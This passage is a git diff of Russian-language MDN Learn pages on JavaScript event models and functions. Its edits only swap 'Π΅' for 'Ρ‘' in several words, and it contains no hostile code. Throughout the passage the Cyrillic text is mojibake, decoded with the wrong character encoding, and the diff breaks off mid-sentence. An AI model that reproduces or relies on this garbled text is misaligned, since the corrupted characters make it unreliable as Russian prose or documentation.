-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ контСксты, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ JavaScript, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚Β Ρ€Π°Π·Π½Ρ‹Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ событий β€” ΠΎΡ‚ Π²Π΅Π±-API Π΄ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… областСй, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ WebExtensions ΠΈ Node.js (сСрвСрный JavaScript). ΠœΠΎΠΆΠ΅Ρ‚ сСйчас Π²Ρ‹ Π½Π΅ особо Π² этом Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅Ρ‚Π΅ΡΡŒ, Π½ΠΎ ΠΏΠΎ мСрС изучСния вСб-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π°Ρ‡Π½Π΅Ρ‚ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ясноС ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ контСксты, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ JavaScript, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚Β Ρ€Π°Π·Π½Ρ‹Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ событий β€” ΠΎΡ‚ Π²Π΅Π±-API Π΄ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… областСй, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ WebExtensions ΠΈ Node.js (сСрвСрный JavaScript). ΠœΠΎΠΆΠ΅Ρ‚ сСйчас Π²Ρ‹ Π½Π΅ особо Π² этом Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅Ρ‚Π΅ΡΡŒ, Π½ΠΎ ΠΏΠΎ мСрС изучСния вСб-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π°Ρ‡Π½Ρ‘Ρ‚ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ясноС ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ.</p>
<p>Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ вопросы, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΎΡ‡Π΅ΡΡ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡŽ снова ΠΈΠ»ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Learn#Contact_us">ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ Π·Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊ Π½Π°ΠΌ</a>.</p>
diff --git a/files/ru/learn/javascript/building_blocks/functions/index.html b/files/ru/learn/javascript/building_blocks/functions/index.html
index b612858b42..b48d642112 100644
--- a/files/ru/learn/javascript/building_blocks/functions/index.html
+++ b/files/ru/learn/javascript/building_blocks/functions/index.html
@@ -12,7 +12,7 @@ translation_of: Learn/JavaScript/Building_blocks/Functions
<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</div>
-<p class="summary">Другая ваТная концСпция Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ β€”Β Β <strong>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ </strong>β€”Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСт ΠΎΠ΄Π½Ρƒ Π·Π°Π΄Π°Ρ‡Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ этот ΠΊΠΎΠ΄ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ это Π½ΡƒΠΆΠ½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄Π½Ρƒ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½Β ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΊΠΎΠ΄ нСсколько Ρ€Π°Π·.</p>
+<p class="summary">Другая ваТная концСпция Π² ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ β€”Β Β <strong>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ </strong>β€”Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСт ΠΎΠ΄Π½Ρƒ Π·Π°Π΄Π°Ρ‡Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ этот ΠΊΠΎΠ΄ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ это Π½ΡƒΠΆΠ½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄Π½Ρƒ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½Β ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΊΠΎΠ΄ нСсколько Ρ€Π°Π·.</p>
<p class="summary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ синтаксис, способы Π²Ρ‹Π·ΠΎΠ²Π° ΠΈ ΠΈΡ… опрСдСлСния, ΠΎΠ±Π»Π°ΡΡ‚ΡŒ дСйствия ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹.</p>
@@ -44,7 +44,7 @@ var newString = myText.replace('строка', 'сосиска');
console.log(newString);
// Ѐункция строки replace() ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ строку,
// замСняСт ΠΎΠ΄Π½Ρƒ строку Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚
-// Π½ΠΎΠ²ΡƒΡŽ строку с Π·Π°ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌ содСрТимым</pre>
+// Π½ΠΎΠ²ΡƒΡŽ строку с Π·Π°ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌ содСрТимым</pre>
<p>Или ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ массивом:</p>
@@ -69,19 +69,19 @@ console.log(madeAString);
<p>ЀактичСски, Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅, ΠΊΠΎΠ³Π΄Π° ΡΡΡ‹Π»Π°Π΅Ρ‚Π΅ΡΡŒ Π½Π° Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Β (Π²ΠΎΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠ΅ слово для Π΅Ρ‘ запуска ΠΈΠ»ΠΈ выполнСния), Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ написана Π½Π° JavaScript β€” ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΈΠ· этих Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ части Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ написан Π² основном Π½Π° систСмных языках Π½ΠΈΠ·ΠΊΠΎΠ³ΠΎ уровня, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ C ++, Π° Π½Π΅ Π½Π° Π²Π΅Π±-языках, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ JavaScript.</p>
-<p>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ основного языка JavaScript β€” Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ APIΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½Π° языкС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π΅Ρ‰Π΅ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ (ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см.Β <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/What_is_JavaScript#Π’Π°ΠΊ_Ρ‡Ρ‚ΠΎ_ΠΆΠ΅_ΠΎΠ½_Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ_ΠΌΠΎΠΆΠ΅Ρ‚_Π΄Π΅Π»Π°Ρ‚ΡŒ">ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² этого курса</a>). Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ рассмотрим использованиС API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π² Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»Π΅ курса.</p>
+<p>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ основного языка JavaScript β€” Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ APIΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½Π° языкС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π΅Ρ‰Ρ‘ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ (ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см.Β <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/What_is_JavaScript#Π’Π°ΠΊ_Ρ‡Ρ‚ΠΎ_ΠΆΠ΅_ΠΎΠ½_Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ_ΠΌΠΎΠΆΠ΅Ρ‚_Π΄Π΅Π»Π°Ρ‚ΡŒ">ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² этого курса</a>). Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ рассмотрим использованиС API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π² Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»Π΅ курса.</p>
<h2 id="Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ_ΠΈΠ»ΠΈ_ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
<p>ΠžΠ΄Π½Ρƒ Π²Π΅Ρ‰ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡΡΠ½ΠΈΡ‚ΡŒ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС - тСхничСски, встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ функциями β€” это <strong>ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</strong>. Π­Ρ‚ΠΎ Π·Π²ΡƒΡ‡ΠΈΡ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΡ‚Ρ€Π°ΡˆΠ½ΠΎ ΠΈ Π·Π°ΠΏΡƒΡ‚Π°Π½Π½ΠΎ, Π½ΠΎ Π½Π΅ Π²ΠΎΠ»Π½ΡƒΠΉΡ‚Π΅ΡΡŒ β€” Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ слова Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΌ взаимозамСняСмы, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ для Π½Π°ΡˆΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ, Π½Π° Π΄Π°Π½Π½ΠΎΠΌ этапС вашСго обучСния.</p>
-<p>Π Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ лишь Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ - это Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². ВстроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹) Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ (Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ <strong>свойства</strong>) хранятся Π²Π½ΡƒΡ‚Ρ€ΠΈ структурированных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π±ΠΎΠ»Π΅Π΅ эффСктивным ΠΈ Π±ΠΎΠ»Π΅Π΅ простым Π² использовании.</p>
+<p>Π Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ лишь Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ - это Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². ВстроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹) Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ (Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ <strong>свойства</strong>) хранятся Π²Π½ΡƒΡ‚Ρ€ΠΈ структурированных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ Π±ΠΎΠ»Π΅Π΅ эффСктивным ΠΈ Π±ΠΎΠ»Π΅Π΅ простым Π² использовании.</p>
<p>Π’Π°ΠΌ ΠΏΠΎΠΊΠ° Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΡŽΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ структурированных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript - Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒ, ΠΏΠΎΠΊΠ° наш Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠΉ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π½Π΅ Π½Π°ΡƒΡ‡ΠΈΡ‚ вас Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌ Ρ€Π°Π±ΠΎΡ‚Π°ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ просто Ρ…ΠΎΡ‚ΠΈΠΌ ΡƒΡΡ‚Ρ€Π°Π½ΠΈΡ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡƒΡŽ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρƒ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Π² сравнСнии с функциями - Π²Ρ‹, вСроятно, встрСтитС ΠΎΠ±Π° Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° доступныС связанныС рСсурсы Ρ‡Π΅Ρ€Π΅Π· Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚.</p>
<h2 id="ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ">ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h2>
-<p>Π’ этом курсС Ρ‚Π°ΠΊ ΠΆΠ΅ использовались <strong>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</strong>Β β€” это Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ опрСдСляСтС в своСм ΠΊΠΎΠ΄Π΅, Π° Π½Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ΅ слово (имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ) с ΠΊΡ€ΡƒΠ³Π»Ρ‹ΠΌΠΈ скобками прямо послС Π½Π΅Π³ΠΎ, Π²Ρ‹ использовали ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> (ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">исходный ΠΊΠΎΠ΄</a>)Β ΠΈΠ· нашСй <a href="/ru/docs/Learn/JavaScript/Building_blocks/Looping_code">ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎ Ρ†ΠΈΠΊΠ»Π°Ρ…</a>Β ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>draw()</code>, которая выглядит так:</p>
+<p>Π’ этом курсС Ρ‚Π°ΠΊ ΠΆΠ΅ использовались <strong>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</strong>Β β€” это Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ опрСдСляСтС в своём ΠΊΠΎΠ΄Π΅, Π° Π½Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ΅ слово (имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ) с ΠΊΡ€ΡƒΠ³Π»Ρ‹ΠΌΠΈ скобками прямо послС Π½Π΅Π³ΠΎ, Π²Ρ‹ использовали ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> (ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">исходный ΠΊΠΎΠ΄</a>)Β ΠΈΠ· нашСй <a href="/ru/docs/Learn/JavaScript/Building_blocks/Looping_code">ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΎ Ρ†ΠΈΠΊΠ»Π°Ρ…</a>Β ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ 